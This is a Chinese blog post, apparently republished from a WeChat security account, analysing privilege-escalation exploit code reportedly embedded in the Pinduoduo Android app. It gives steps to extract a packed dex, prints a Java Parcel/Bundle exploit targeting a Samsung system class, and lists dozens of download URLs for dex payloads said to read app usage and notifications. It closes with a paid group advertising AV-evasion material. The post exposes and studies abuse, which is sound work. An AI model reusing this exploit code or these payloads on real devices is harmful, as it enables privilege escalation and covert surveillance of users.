拼多多apk内嵌提权代码，及动态下发dex分析

admin

102044
文章

87
评论

2023年3月9日02:17:33评论2,654 views2字数 9202阅读30分40秒阅读模式

近日，研究机构“DarkNavy”发文披露某国产APP恶意利用系统漏洞，非法提权获取用户隐私及争对手商业信息，远程遥控用户设备，并阻止用户卸载自身APP。据信该APP指的是“拼多多”。

该APP利用Android系统的Parcel序列化与反序列化不匹配漏洞，能够实现0Day/NDay攻击，绕过系统校验，获取系统级StartAnyWhere能力，提升自身权限。

有软件行业人士发现，解压拼多多APP之后就能够在asset中找到AliveBaseAbility提权代码。不过在该新闻发酵之后，拼多多在更新之后删除了这段代码。

复现流程

下载3月5日前更新的（6.50版本前）的拼多多apk，如6.49版本：

https://com-xunmeng-pinduoduo.en.uptodown.com/android/download/91472728

解压apk文件，找到拼多多apk中，提权代码所在的文件位置：

pinduoduo-6-49-0.zipassetscomponentcom.xunmeng.pinduoduo.AliveBaseAbility.7zcom.xunmeng.pinduoduo.AliveBaseAbilityvmp_srcmw1.bin

以上是一个加VMP壳的dex文件，脱壳还原出代码，可以找到针对不同手机厂商系统的多个用于提权的漏洞利用代码，胆子相当的大，比如利用三星手机“com.samsung.android.cepproxyks.CertByte”的提权漏洞，代码如下：

// assets/component/com.xunmeng.pinduoduo.AliveBaseAbilitiy
// [Manwei]
// com/xunmeng/pinduoduo/android_pull_ablity_comp/pullstartup/SamsungAlivePullStartup

Public static Bundle makeBundleForSamsungSinceP(Intent intent){
Bundle bundle = new Bundle();
Parcel obtain = Parcel.obtain();
Parcel obtain2 = Parcel.obtain();
Parcel obtain3 = Parcel.obtain();
obtain2.writeInt(3);
obtain2.writeInt(13);
obtain2.writeInt(72);
obtain2.writeInt(3);
obtain2.writeInt(0);
obtain2.writeInt(0);
obtain2.writeInt(0);
obtain2.writeInt(0);
obtain2.writeInt(0);
obtain2.writeInt(4);
obtain2.writeString("com.samsung.android.cepproxyks.CertByte");
obtain2.writeInt(0);
byte b[] = new byte[0];
obtain2.writeByteArray(b);
obtain2.writeInt(0);
obtain2.writeInt(13);
obtain2.writeInt(72);
obtain2.writeInt(53);
obtain2.writeInt(0);
obtain2.writeInt(0);
obtain2.writeInt(0);
obtain2.writeInt(0);
obtain2.writeInt(0);
obtain2.writeInt(1);
obtain2.writeInt(1);
obtain2.writeInt(13);
obtain2.writeInt(72);
obtain2.writeInt(48);
obtain2.writeInt(0);
obtain2.writeInt(0);
obtain2.writeInt(0);
obtain2.writeInt(0);
obtain2.writeInt(0);
obtain2.writeInt(13);
obtain2.writeInt(-1);
int dataPosition = obtain2.dataPosition();
obtain2.writeString("intent");
obtain2.writeInt(4);
obtain2.writeString("android.content.Intent");
obtain2.writeToParcel(obtain3, 0);
obtain2.appendFrom(obtain3, 0, obtain3.dataSize());
int dataPosition2 = obtain2.dataPosition();
obtain2.setDataPosition(dataPosition2 - 4);
obtain2.writeInit(dataPosition2 -dataPosition);
obtain2.setdataPosition(dataPosition2);
int dataSize = obtain2.dataSize();
obtain.writeInt(dataSize);
obtain.writeInt(1279544898);
obtain.appendFrom(obtain2, 0, dataSize);
obtain.setDataPosition(0);
bundle.readFromParcel(obtain);
return bundle;
}

提权后，就开始瞎搞了，动态下发dex，开始给自己保活，防卸载，然后搞数据，这部分代码比较通俗易懂，

比如：
1a68d982e02fc22b464693a06f528fac.dex 读取用户手机上的app使用记录
95cd95ab4d694ad8bdf49f07e3599fb3.dex 读取用户手机的应用通知

这一波各大公司app全灭了吧？

部分dex文件的下载地址（3月3日已被拼多多从CDN服务器上删除）：

https://commfile.pddpic.com/galerie-go/spirit/sd1000/dex/f4247da0-6274-44eb-859a-b4c35ec0dd71.dexhttps://commfile.pddpic.com/galerie-go/spirit/sd1000/dex/f4247da0-6274-44eb-859a-b4c35ec0dd71.dexhttps://commfile.pddpic.com/galerie-go/spirit/sd1000/dex/f4247da0-6274-44eb-859a-b4c35ec0dd71.dexhttps://commfile.pddpic.com/galerie-go/spirit/sd1000/dex/f4247da0-6274-44eb-859a-b4c35ec0dd71.dexhttps://commfile.pddpic.com/galerie-go/spirit/sd1000/dynamic/45783d15-9f56-43a7-b3c7-930872f91c9b.dexhttps://commfile.pddpic.com/galerie-go/spirit/sd1000/dynamic/45783d15-9f56-43a7-b3c7-930872f91c9b.dexhttps://commfile.pddpic.com/galerie-go/spirit/sd1000/dynamic/45783d15-9f56-43a7-b3c7-930872f91c9b.dexhttps://commfile.pddpic.com/galerie-go/spirit/sd1000/dynamic/4a72c6bb-337c-46c4-8c9c-637efafdd1c6.dexhttps://commfile.pddpic.com/galerie-go/spirit/sd1000/dynamic/61517b68-7c09-4021-9aaa-cdebeb9549f2.dexhttps://commfile.pddpic.com/galerie-go/spirit/sd1000/dynamic/78afc1cd-60da-482b-90e7-4d5e72a01266.dexhttps://commfile.pddpic.com/galerie-go/spirit/sd1000/dynamic/f9b6b139-4516-4ac2-896d-8bc3eb1f2d03.dexhttps://commfile.pddpic.com/galerie-go/spirit/sd1000/hw/6932a923-9f13-4624-bfea-1249ddfd5505.dexhttps://commfile.pddpic.com/galerie-go/spirit/sd1000/hw/7c6e6702-e461-4315-8631-eee246aeba95.dexhttps://commfile.pddpic.com/galerie-go/spirit/sd1000/hw/8c34f5dc-f04c-40ba-98d4-7aa7c364b65c.dexhttps://commfile.pddpic.com/galerie-go/spirit/sd1000/hw/a3937709-b9cc-48fd-8918-163c9cb7c2df.dexhttps://commfile.pddpic.com/galerie-go/spirit/sd1000/hw/a4d4dccf-1f8c-48e3-acd5-92cdf156e585.dexhttps://commfile.pddpic.com/galerie-go/spirit/sd1000/hw/e9ded9d4-1c94-47d0-8e8b-94aa773af81c.dexhttps://commfile.pddpic.com/galerie-go/spirit/sd1000/oppo/4569a29c-b5a8-4dcf-a3a6-0a2f0bfdd493.dexhttps://commfile.pddpic.com/galerie-go/spirit/sd1000/oppo/538278f3-9f68-4fce-be10-12635b9640b2.dexhttps://commfile.pddpic.com/galerie-go/spirit/sd1000/oppo/75dcc8ea-d0f9-4222-b8dd-2a83444f9cd6.dexhttps://commfile.pddpic.com/galerie-go/spirit/sd1000/oppo/7c3507cc-c1a7-4c97-bfa3-e70b938d8f07.dexhttps://commfile.pddpic.com/galerie-go/spirit/sd1000/oppo/7c3507cc-c1a7-4c97-bfa3-e70b938d8f07.dexhttps://commfile.pddpic.com/galerie-go/spirit/sd1000/oppo/7ce6d296-a5bd-4718-9f79-543621ba5422.dexhttps://commfile.pddpic.com/galerie-go/spirit/sd1000/oppo/e723d560-c2ee-461e-b2a1-96f85b614f2b.dexhttps://commfile.pddpic.com/galerie-go/spirit/sd1000/oppo/f0139a82-8bb6-4f3e-a81b-70200fc38eaa.dexhttps://commfile.pddpic.com/galerie-go/spirit/sd1000/sdlog/218a37ea-710d-49cb-b872-2a47a1115c69.dexhttps://commfile.pddpic.com/galerie-go/spirit/sd1000/vivo/136d4651-df47-41b4-bb80-2ec0ab1bc775.dexhttps://commfile.pddpic.com/galerie-go/spirit/sd1000/vivo/4f260398-e9d1-4390-bbb9-eeb49c07bf3c.dexhttps://commfile.pddpic.com/galerie-go/spirit/sd1000/vivo/7dee63bd-ebad-4d74-a06f-90750aa18e18.dexhttps://commfile.pddpic.com/galerie-go/spirit/sd1000/vivo/8b56d820-cac2-4ca0-8a3a-1083c5cca7ae.dexhttps://commfile.pddpic.com/galerie-go/spirit/sd1000/vivo/cdcbd06b-8a32-4645-b9fe-c186b548c34e.dexhttps://commfile.pddpic.com/galerie-go/spirit/sd1000/xm/5d372522-b6a4-4c1b-a0b4-8114d342e6c0.dexhttps://commfile.pddpic.com/galerie-go/spirit/sd1000/xm/74168acd-14b4-4ff8-842e-f92b794d7abf.dexhttps://commfile.pddpic.com/sdfile/common/1a68d982e02fc22b464693a06f528fac.dexhttps://commfile.pddpic.com/sdfile/common/35604479f8854b5d90bc800e912034fc.dexhttps://commfile.pddpic.com/sdfile/common/35604479f8854b5d90bc800e912034fc.dexhttps://commfile.pddpic.com/sdfile/common/35604479f8854b5d90bc800e912034fc.dexhttps://commfile.pddpic.com/sdfile/common/35604479f8854b5d90bc800e912034fc.dexhttps://commfile.pddpic.com/sdfile/common/561341f5f7976e13efce7491887f1306.dexhttps://commfile.pddpic.com/sdfile/common/6afc90e406bf46e4a29956aabcdfe004.dexhttps://commfile.pddpic.com/sdfile/common/6afc90e406bf46e4a29956aabcdfe004.dexhttps://commfile.pddpic.com/sdfile/common/6f9451e79a0a4b53aff86fe489dffd22.dexhttps://commfile.pddpic.com/sdfile/common/98f10c20525142f9929b4f267b6ccf4d.dexhttps://commfile.pddpic.com/sdfile/common/b50477f70bd14479a50e6fa34e18b2a0.dexhttps://commfile.pddpic.com/sdfile/common/b50477f70bd14479a50e6fa34e18b2a0.dexhttps://commfile.pddpic.com/sdfile/common/b50477f70bd14479a50e6fa34e18b2a0.dexhttps://commfile.pddpic.com/sdfile/common/b50477f70bd14479a50e6fa34e18b2a0.dexhttps://commfile.pddpic.com/sdfile/common/cab85f8e4487412483ee00c2ecf06737.dexhttps://commfile.pddpic.com/sdfile/common/cab85f8e4487412483ee00c2ecf06737.dexhttps://commfile.pddpic.com/sdfile/common/d4b6d58467fb417380d53382b8adcfd6.dexhttps://commfile.pddpic.com/sdfile/common/da60112a4b2848adba2ac11f412cccc7.dexhttps://commfile.pddpic.com/sdfile/common/da60112a4b2848adba2ac11f412cccc7.dexhttps://commfile.pddpic.com/sdfile/common/f35735a5cbf445c785237797138d246a.dexhttps://commfile.pddpic.com/sdfile/common/td/2aa151e2cfa04acb8fb96e523807ca6b.dexhttps://commfile.pddpic.com/sdfile/common/td/2aa151e2cfa04acb8fb96e523807ca6b.dexhttps://commfile.pddpic.com/sdfile/common/td/8aeb045fad9343acbbd1a26998b6485a.dexhttps://commfile.pddpic.com/sdfile/hw/da03be2689cc463f901806b5b417c9f5.dexhttps://commfile.pddpic.com/sdfile/hw/perm/257682c986ab449ab9e7c8ae7682fa61.dexhttps://commfile.pddpic.com/sdfile/oppo/480ed5841ebf4b9c8900c19e700edbed.dexhttps://commfile.pddpic.com/sdfile/oppo/50679b0fc43a458dabac39730616fa9b.dexhttps://commfile.pddpic.com/sdfile/oppo/67c9e686004f45158e94002e8e781192.dexhttps://commfile.pddpic.com/sdfile/oppo/bbbfcfd4cc67499eac47f6e44a37b8a4.dexhttps://commfile.pddpic.com/sdfile/oppo/dc638f3e6fa84d56970d9a8ff4fc5295.dexhttps://commfile.pddpic.com/sdfile/vivo/0bb624afe4b54063bfa3299d3afd9736.dexhttps://commfile.pddpic.com/sdfile/vivo/183bb87aa7d744a195741ce524577dd0.dexhttps://commfile.pddpic.com/sdfile/vivo/2eb20dc580aaa5186ee4a4ceb2374669.dexhttps://commfile.pddpic.com/sdfile/vivo/7877ec6850344e7aad5fdd57f6abf238.dexhttps://commfile.pddpic.com/sdfile/vivo/a093b2d4f28c47b186e61951cb14c781.dexhttps://commfile.pddpic.com/sdfile/vivo/a840668f7567459b95869165cfcd13cb.dexhttps://commfile.pddpic.com/sdfile/vivo/ab8ed4c3482c42a1b8baef558ee79deb.dexhttps://commfile.pddpic.com/sdfile/vivo/be7a2b643d7e8543f49994ffeb0ee0b6.dexhttps://commfile.pddpic.com/sdfile/vivo/d643e0f9a68342bc8403a69e7ee877a7.dexhttps://commfile.pddpic.com/sdfile/xm/0fc0e98ac2e54bc29401efaddfc8ad7f.dexhttps://commfile.pddpic.com/sdfile/xm/95cd95ab4d694ad8bdf49f07e3599fb3.dex

dex文件获取

关注微信公众号：鹏组安全

后台回复：dex文件即可

★

付费圈子

欢 迎 加 入 星 球 ！
代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

拼多多apk内嵌提权代码，及动态下发dex分析

星球的最近主题和星球内部工具一些展示

拼多多apk内嵌提权代码，及动态下发dex分析

推荐阅读
干货 | 渗透知识库
工具 | sqlmap图形化工具
审计 | SeaCms代码审计getshell
鹏组安全 | 2022年精华文章汇总
实战 | 记一次授权的渗透测试
应急 | linux实战清理挖矿病毒
免责声明
由于传播、利用本公众号鹏组安全所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号鹏组安全及作者不为此承担任何责任，一旦造成后果请自行承担！如有侵权烦请告知，我们会立即删除并致歉。谢谢！

好文分享收藏赞一下最美点在看哦

原文始发于微信公众号（鹏组安全）：拼多多apk内嵌提权代码，及动态下发dex分析

左青龙
微信扫一扫

右白虎
微信扫一扫

拼多多apk内嵌提权代码，及动态下发dex分析

e-message管理页面 | 文件读取

小黑粉培养计划-Kali Linux基础(2)

一次收获颇丰的Google漏洞挖掘旅程

经验分享 | 如何从蓝初小白到蓝中猴子（一）

利用Windows DOS到NT的漏洞实现非特权的Rootkit-like功能

黑灰产分析之实战案例

记一次安服薅洞实战

windows持久化后门之 Explorer进程

针对主刷新令牌和 Windows Hello 密钥的网络钓鱼

通过 SSTI 在 Spring Boot 错误页面上使用 Akamai WAF 绕过进行 RCE

发表评论

在线咨询

微信